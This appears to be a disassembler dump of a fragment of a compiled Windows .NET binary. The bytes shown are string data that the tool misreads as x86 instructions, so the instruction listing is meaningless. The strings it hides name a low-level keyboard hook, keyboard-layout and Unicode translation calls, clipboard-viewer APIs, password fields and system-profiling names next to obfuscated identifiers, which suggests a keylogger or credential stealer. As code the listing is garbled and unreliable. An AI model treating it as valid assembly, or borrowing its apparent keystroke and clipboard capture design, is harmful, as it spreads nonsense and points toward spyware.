444541:	70 00                	jo     0x444543
444543:	47                   	inc    %edi
444544:	65 74 57             	gs je  0x44459e
444547:	69 6e 64 6f 77 54 68 	imul   $0x6854776f,0x64(%esi),%ebp
44454e:	72 65                	jb     0x4445b5
444550:	61                   	popa
444551:	64 50                	fs push %eax
444553:	72 6f                	jb     0x4445c4
444555:	63 65 73             	arpl   %esp,0x73(%ebp)
444558:	73 49                	jae    0x4445a3
44455a:	64 00 7a 72          	add    %bh,%fs:0x72(%edx)
44455e:	77 00                	ja     0x444560
444560:	7a 72                	jp     0x4445d4
444562:	73 00                	jae    0x444564
444564:	7a 72                	jp     0x4445d8
444566:	65 00 47 65          	add    %al,%gs:0x65(%edi)
44456a:	74 4b                	je     0x4445b7
44456c:	65 79 62             	gs jns 0x4445d1
44456f:	6f                   	outsl  %ds:(%esi),(%dx)
444570:	61                   	popa
444571:	72 64                	jb     0x4445d7
444573:	4c                   	dec    %esp
444574:	61                   	popa
444575:	79 6f                	jns    0x4445e6
444577:	75 74                	jne    0x4445ed
444579:	00 75 73             	add    %dh,0x73(%ebp)
44457c:	65 72 33             	gs jb  0x4445b2
44457f:	32 00                	xor    (%eax),%al
444581:	7a 72                	jp     0x4445f5
444583:	76 00                	jbe    0x444585
444585:	7a 72                	jp     0x4445f9
444587:	6e                   	outsb  %ds:(%esi),(%dx)
444588:	00 54 6f 55          	add    %dl,0x55(%edi,%ebp,2)
44458c:	6e                   	outsb  %ds:(%esi),(%dx)
44458d:	69 63 6f 64 65 45 78 	imul   $0x78456564,0x6f(%ebx),%esp
444594:	00 7a 72             	add    %bh,0x72(%edx)
444597:	6d                   	insl   (%dx),%es:(%edi)
444598:	00 7a 72             	add    %bh,0x72(%edx)
44459b:	79 00                	jns    0x44459d
44459d:	7a 72                	jp     0x444611
44459f:	64 00 7a 72          	add    %bh,%fs:0x72(%edx)
4445a3:	63 00                	arpl   %eax,(%eax)
4445a5:	7a 72                	jp     0x444619
4445a7:	6a 00                	push   $0x0
4445a9:	7a 72                	jp     0x44461d
4445ab:	6f                   	outsl  %ds:(%esi),(%dx)
4445ac:	00 7a 72             	add    %bh,0x72(%edx)
4445af:	6c                   	insb   (%dx),%es:(%edi)
4445b0:	00 7a 72             	add    %bh,0x72(%edx)
4445b3:	62 00                	bound  %eax,(%eax)
4445b5:	7a 72                	jp     0x444629
4445b7:	61                   	popa
4445b8:	00 7a 66             	add    %bh,0x66(%edx)
4445bb:	6d                   	insl   (%dx),%es:(%edi)
4445bc:	00 7a 66             	add    %bh,0x66(%edx)
4445bf:	6c                   	insb   (%dx),%es:(%edi)
4445c0:	00 7a 66             	add    %bh,0x66(%edx)
4445c3:	68 00 7a 71 77       	push   $0x77717a00
4445c8:	00 7a 71             	add    %bh,0x71(%edx)
4445cb:	6e                   	outsb  %ds:(%esi),(%dx)
4445cc:	00 7a 71             	add    %bh,0x71(%edx)
4445cf:	6a 00                	push   $0x0
4445d1:	53                   	push   %ebx
4445d2:	79 73                	jns    0x444647
4445d4:	74 65                	je     0x44463b
4445d6:	6d                   	insl   (%dx),%es:(%edi)
4445d7:	2e 57                	cs push %edi
4445d9:	69 6e 64 6f 77 73 2e 	imul   $0x2e73776f,0x64(%esi),%ebp
4445e0:	46                   	inc    %esi
4445e1:	6f                   	outsl  %ds:(%esi),(%dx)
4445e2:	72 6d                	jb     0x444651
4445e4:	73 00                	jae    0x4445e6
4445e6:	4b                   	dec    %ebx
4445e7:	65 79 73             	gs jns 0x44465d
4445ea:	00 7a 71             	add    %bh,0x71(%edx)
4445ed:	6f                   	outsl  %ds:(%esi),(%dx)
4445ee:	00 7a 71             	add    %bh,0x71(%edx)
4445f1:	61                   	popa
4445f2:	00 7a 71             	add    %bh,0x71(%edx)
4445f5:	67 00 7a 65          	add    %bh,0x65(%bp,%si)
4445f9:	6f                   	outsl  %ds:(%esi),(%dx)
4445fa:	00 7a 65             	add    %bh,0x65(%edx)
4445fd:	6c                   	insb   (%dx),%es:(%edi)
4445fe:	00 70 6d             	add    %dh,0x6d(%eax)
444601:	00 63 62             	add    %ah,0x62(%ebx)
444604:	53                   	push   %ebx
444605:	69 7a 65 00 64 77 54 	imul   $0x54776400,0x65(%edx),%edi
44460c:	69 6d 65 00 70 79 00 	imul   $0x797000,0x65(%ebp),%ebp
444613:	45                   	inc    %ebp
444614:	6e                   	outsb  %ds:(%esi),(%dx)
444615:	75 6d                	jne    0x444684
444617:	00 76 61             	add    %dh,0x61(%esi)
44461a:	6c                   	insb   (%dx),%es:(%edi)
44461b:	75 65                	jne    0x444682
44461d:	5f                   	pop    %edi
44461e:	5f                   	pop    %edi
44461f:	00 4f 70             	add    %cl,0x70(%edi)
444622:	65 72 61             	gs jb  0x444686
444625:	74 69                	je     0x444690
444627:	6e                   	outsb  %ds:(%esi),(%dx)
444628:	67 53                	addr16 push %ebx
44462a:	79 73                	jns    0x44469f
44462c:	74 65                	je     0x444693
44462e:	6d                   	insl   (%dx),%es:(%edi)
44462f:	4e                   	dec    %esi
444630:	61                   	popa
444631:	6d                   	insl   (%dx),%es:(%edi)
444632:	65 00 50 72          	add    %dl,%gs:0x72(%eax)
444636:	6f                   	outsl  %ds:(%esi),(%dx)
444637:	63 65 73             	arpl   %esp,0x73(%ebp)
44463a:	73 6f                	jae    0x4446ab
44463c:	72 4e                	jb     0x44468c
44463e:	61                   	popa
44463f:	6d                   	insl   (%dx),%es:(%edi)
444640:	65 00 41 6d          	add    %al,%gs:0x6d(%ecx)
444644:	6f                   	outsl  %ds:(%esi),(%dx)
444645:	75 6e                	jne    0x4446b5
444647:	74 4f                	je     0x444698
444649:	66 4d                	dec    %bp
44464b:	65 6d                	gs insl (%dx),%es:(%edi)
44464d:	6f                   	outsl  %ds:(%esi),(%dx)
44464e:	72 79                	jb     0x4446c9
444650:	00 70 64             	add    %dh,0x64(%eax)
444653:	00 76 67             	add    %dh,0x67(%esi)
444656:	00 76 68             	add    %dh,0x68(%esi)
444659:	00 50 61             	add    %dl,0x61(%eax)
44465c:	73 73                	jae    0x4446d1
44465e:	77 6f                	ja     0x4446cf
444660:	72 64                	jb     0x4446c6
444662:	00 67 65             	add    %ah,0x65(%edi)
444665:	74 5f                	je     0x4446c6
444667:	50                   	push   %eax
444668:	61                   	popa
444669:	73 73                	jae    0x4446de
44466b:	77 6f                	ja     0x4446dc
44466d:	72 64                	jb     0x4446d3
44466f:	48                   	dec    %eax
444670:	61                   	popa
444671:	73 68                	jae    0x4446db
444673:	00 67 65             	add    %ah,0x65(%edi)
444676:	74 5f                	je     0x4446d7
444678:	50                   	push   %eax
444679:	61                   	popa
44467a:	73 73                	jae    0x4446ef
44467c:	77 6f                	ja     0x4446ed
44467e:	72 64                	jb     0x4446e4
444680:	00 73 65             	add    %dh,0x65(%ebx)
444683:	74 5f                	je     0x4446e4
444685:	50                   	push   %eax
444686:	61                   	popa
444687:	73 73                	jae    0x4446fc
444689:	77 6f                	ja     0x4446fa
44468b:	72 64                	jb     0x4446f1
44468d:	00 56 61             	add    %dl,0x61(%esi)
444690:	6c                   	insb   (%dx),%es:(%edi)
444691:	75 65                	jne    0x4446f8
444693:	00 70 63             	add    %dh,0x63(%eax)
444696:	00 70 6a             	add    %dh,0x6a(%eax)
444699:	00 77 65             	add    %dh,0x65(%edi)
44469c:	00 77 76             	add    %dh,0x76(%edi)
44469f:	00 77 6e             	add    %dh,0x6e(%edi)
4446a2:	00 77 61             	add    %dh,0x61(%edi)
4446a5:	00 77 67             	add    %dh,0x67(%edi)
4446a8:	00 77 68             	add    %dh,0x68(%edi)
4446ab:	00 73 6a             	add    %dh,0x6a(%ebx)
4446ae:	00 73 6f             	add    %dh,0x6f(%ebx)
4446b1:	00 65 6d             	add    %ah,0x6d(%ebp)
4446b4:	00 65 79             	add    %ah,0x79(%ebp)
4446b7:	00 65 64             	add    %ah,0x64(%ebp)
4446ba:	00 65 78             	add    %ah,0x78(%ebp)
4446bd:	00 76 6e             	add    %dh,0x6e(%esi)
4446c0:	00 76 6d             	add    %dh,0x6d(%esi)
4446c3:	00 76 78             	add    %dh,0x78(%esi)
4446c6:	00 6e 6d             	add    %ch,0x6d(%esi)
4446c9:	00 6e 79             	add    %ch,0x79(%esi)
4446cc:	00 63 61             	add    %ah,0x61(%ebx)
4446cf:	00 63 67             	add    %ah,0x67(%ebx)
4446d2:	00 54 68 72          	add    %dl,0x72(%eax,%ebp,2)
4446d6:	65 61                	gs popa
4446d8:	64 00 45 78          	add    %al,%fs:0x78(%ebp)
4446dc:	65 4e                	gs dec %esi
4446de:	61                   	popa
4446df:	6d                   	insl   (%dx),%es:(%edi)
4446e0:	65 00 6e 64          	add    %ch,%gs:0x64(%esi)
4446e4:	00 6e 63             	add    %ch,0x63(%esi)
4446e7:	00 6d 6c             	add    %ch,0x6c(%ebp)
4446ea:	00 64 6a 00          	add    %ah,0x0(%edx,%ebp,2)
4446ee:	64 6f                	outsl  %fs:(%esi),(%dx)
4446f0:	00 63 78             	add    %ah,0x78(%ebx)
4446f3:	00 4e 61             	add    %cl,0x61(%esi)
4446f6:	74 69                	je     0x444761
4446f8:	76 65                	jbe    0x44475f
4446fa:	57                   	push   %edi
4446fb:	69 6e 64 6f 77 00 6f 	imul   $0x6f00776f,0x64(%esi),%ebp
444702:	78 00                	js     0x444704
444704:	6c                   	insb   (%dx),%es:(%edi)
444705:	62 00                	bound  %eax,(%eax)
444707:	6a 6f                	push   $0x6f
444709:	00 53 65             	add    %dl,0x65(%ebx)
44470c:	74 43                	je     0x444751
44470e:	6c                   	insb   (%dx),%es:(%edi)
44470f:	69 70 62 6f 61 72 64 	imul   $0x6472616f,0x62(%eax),%esi
444716:	56                   	push   %esi
444717:	69 65 77 65 72 00 6a 	imul   $0x6a007265,0x77(%ebp),%esp
44471e:	6c                   	insb   (%dx),%es:(%edi)
44471f:	00 6a 62             	add    %ch,0x62(%edx)
444722:	00 43 68             	add    %al,0x68(%ebx)
444725:	61                   	popa
444726:	6e                   	outsb  %ds:(%esi),(%dx)
444727:	67 65 43             	addr16 gs inc %ebx
44472a:	6c                   	insb   (%dx),%es:(%edi)
44472b:	69 70 62 6f 61 72 64 	imul   $0x6472616f,0x62(%eax),%esi
444732:	43                   	inc    %ebx
444733:	68 61 69 6e 00       	push   $0x6e6961
444738:	6a 61                	push   $0x61
44473a:	00 6a 67             	add    %ch,0x67(%edx)
44473d:	00 6a 68             	add    %ch,0x68(%edx)
444740:	00 53 65             	add    %dl,0x65(%ebx)
444743:	6e                   	outsb  %ds:(%esi),(%dx)
444744:	64 4d                	fs dec %ebp
444746:	65 73 73             	gs jae 0x4447bc
444749:	61                   	popa
44474a:	67 65 00 6a 78       	add    %ch,%gs:0x78(%bp,%si)
44474f:	00 6f 6c             	add    %ch,0x6c(%edi)
444752:	00 6f 62             	add    %ch,0x62(%edi)
444755:	00 6f 61             	add    %ch,0x61(%edi)
444758:	00 61 64             	add    %ah,0x64(%ecx)
44475b:	64 5f                	fs pop %edi
44475d:	43                   	inc    %ebx
44475e:	68 61 6e 67 65       	push   $0x65676e61
444763:	64 00 6f 62          	add    %ch,%fs:0x62(%edi)
444767:	6a 00                	push   $0x0
444769:	72 65                	jb     0x4447d0
44476b:	6d                   	insl   (%dx),%es:(%edi)
44476c:	6f                   	outsl  %ds:(%esi),(%dx)
44476d:	76 65                	jbe    0x4447d4
44476f:	5f                   	pop    %edi
444770:	43                   	inc    %ebx
444771:	68 61 6e 67 65       	push   $0x65676e61
444776:	64 00 6f 67          	add    %ch,%fs:0x67(%edi)
44477a:	00 6f 68             	add    %ch,0x68(%edi)
44477d:	00 57 6e             	add    %dl,0x6e(%edi)
444780:	64 50                	fs push %eax
444782:	72 6f                	jb     0x4447f3
444784:	63 00                	arpl   %eax,(%eax)
444786:	4d                   	dec    %ebp
444787:	65 73 73             	gs jae 0x4447fd
44478a:	61                   	popa
44478b:	67 65 00 6d 00       	add    %ch,%gs:0x0(%di)
444790:	46                   	inc    %esi
444791:	69 6e 61 6c 69 7a 65 	imul   $0x657a696c,0x61(%esi),%ebp
444798:	00 6c 61 00          	add    %ch,0x0(%ecx,%eiz,2)
44479c:	63 68 00             	arpl   %ebp,0x0(%eax)
44479f:	4d                   	dec    %ebp
4447a0:	75 6c                	jne    0x44480e
4447a2:	74 69                	je     0x44480d
4447a4:	63 61 73             	arpl   %esp,0x73(%ecx)
4447a7:	74 44                	je     0x4447ed
4447a9:	65 6c                	gs insb (%dx),%es:(%edi)
4447ab:	65 67 61             	gs addr16 popa
4447ae:	74 65                	je     0x444815
4447b0:	00 54 61 72          	add    %dl,0x72(%ecx,%eiz,2)
4447b4:	67 65 74 4f          	addr16 gs je 0x444807
4447b8:	62 6a 65             	bound  %ebp,0x65(%edx)
4447bb:	63 74 00 54          	arpl   %esi,0x54(%eax,%eax,1)
4447bf:	61                   	popa
4447c0:	72 67                	jb     0x444829
4447c2:	65 74 4d             	gs je  0x444812
4447c5:	65 74 68             	gs je  0x444830
4447c8:	6f                   	outsl  %ds:(%esi),(%dx)
4447c9:	64 00 42 65          	add    %al,%fs:0x65(%edx)
4447cd:	67 69 6e 49 6e 76 6f 	imul   $0x6b6f766e,0x49(%bp),%ebp
4447d4:	6b
4447d5:	65 00 49 41          	add    %cl,%gs:0x41(%ecx)
4447d9:	73 79                	jae    0x444854
4447db:	6e                   	outsb  %ds:(%esi),(%dx)
4447dc:	63 52 65             	arpl   %edx,0x65(%edx)
4447df:	73 75                	jae    0x444856
4447e1:	6c                   	insb   (%dx),%es:(%edi)
4447e2:	74 00                	je     0x4447e4
4447e4:	41                   	inc    %ecx
4447e5:	73 79                	jae    0x444860
4447e7:	6e                   	outsb  %ds:(%esi),(%dx)
4447e8:	63 43 61             	arpl   %eax,0x61(%ebx)
4447eb:	6c                   	insb   (%dx),%es:(%edi)
4447ec:	6c                   	insb   (%dx),%es:(%edi)
4447ed:	62 61 63             	bound  %esp,0x63(%ecx)
4447f0:	6b 00 73             	imul   $0x73,(%eax),%eax
4447f3:	65 6e                	outsb  %gs:(%esi),(%dx)
4447f5:	64 65 72 00          	fs gs jb 0x4447f9
4447f9:	44                   	inc    %esp
4447fa:	65 6c                	gs insb (%dx),%es:(%edi)
4447fc:	65 67 61             	gs addr16 popa
4447ff:	74 65                	je     0x444866
444801:	43                   	inc    %ebx
444802:	61                   	popa
444803:	6c                   	insb   (%dx),%es:(%edi)
444804:	6c                   	insb   (%dx),%es:(%edi)
444805:	62 61 63             	bound  %esp,0x63(%ecx)
444808:	6b 00 44             	imul   $0x44,(%eax),%eax
44480b:	65 6c                	gs insb (%dx),%es:(%edi)
44480d:	65 67 61             	gs addr16 popa
444810:	74 65                	je     0x444877
444812:	41                   	inc    %ecx
444813:	73 79                	jae    0x44488e
444815:	6e                   	outsb  %ds:(%esi),(%dx)
444816:	63 53 74             	arpl   %edx,0x74(%ebx)
444819:	61                   	popa
44481a:	74 65                	je     0x444881
44481c:	00 45 6e             	add    %al,0x6e(%ebp)
44481f:	64 49                	fs dec %ecx
444821:	6e                   	outsb  %ds:(%esi),(%dx)
444822:	76 6f                	jbe    0x444893
444824:	6b 65 00 44          	imul   $0x44,0x0(%ebp),%esp
444828:	65 6c                	gs insb (%dx),%es:(%edi)
44482a:	65 67 61             	gs addr16 popa
44482d:	74 65                	je     0x444894
44482f:	41                   	inc    %ecx
444830:	73 79                	jae    0x4448ab
444832:	6e                   	outsb  %ds:(%esi),(%dx)
444833:	63 52 65             	arpl   %edx,0x65(%edx)
444836:	73 75                	jae    0x4448ad
444838:	6c                   	insb   (%dx),%es:(%edi)
444839:	74 00                	je     0x44483b
44483b:	49                   	dec    %ecx
44483c:	6e                   	outsb  %ds:(%esi),(%dx)
44483d:	76 6f                	jbe    0x4448ae
44483f:	6b 65 00 62          	imul   $0x62,0x0(%ebp),%esp
444843:	68 00 74 7a 67       	push   $0x677a7400
444848:	00 74 7a 68          	add    %dh,0x68(%edx,%edi,2)
44484c:	00 57 48             	add    %dl,0x48(%edi)
44484f:	5f                   	pop    %edi
444850:	4b                   	dec    %ebx
444851:	45                   	inc    %ebp
444852:	59                   	pop    %ecx
444853:	42                   	inc    %edx
444854:	4f                   	dec    %edi
444855:	41                   	inc    %ecx
444856:	52                   	push   %edx
444857:	44                   	inc    %esp
444858:	5f                   	pop    %edi
444859:	4c                   	dec    %esp
44485a:	4c                   	dec    %esp
44485b:	00 48 43             	add    %cl,0x43(%eax)
44485e:	5f                   	pop    %edi
44485f:	41                   	inc    %ecx
444860:	43                   	inc    %ebx
444861:	54                   	push   %esp
444862:	49                   	dec    %ecx
444863:	4f                   	dec    %edi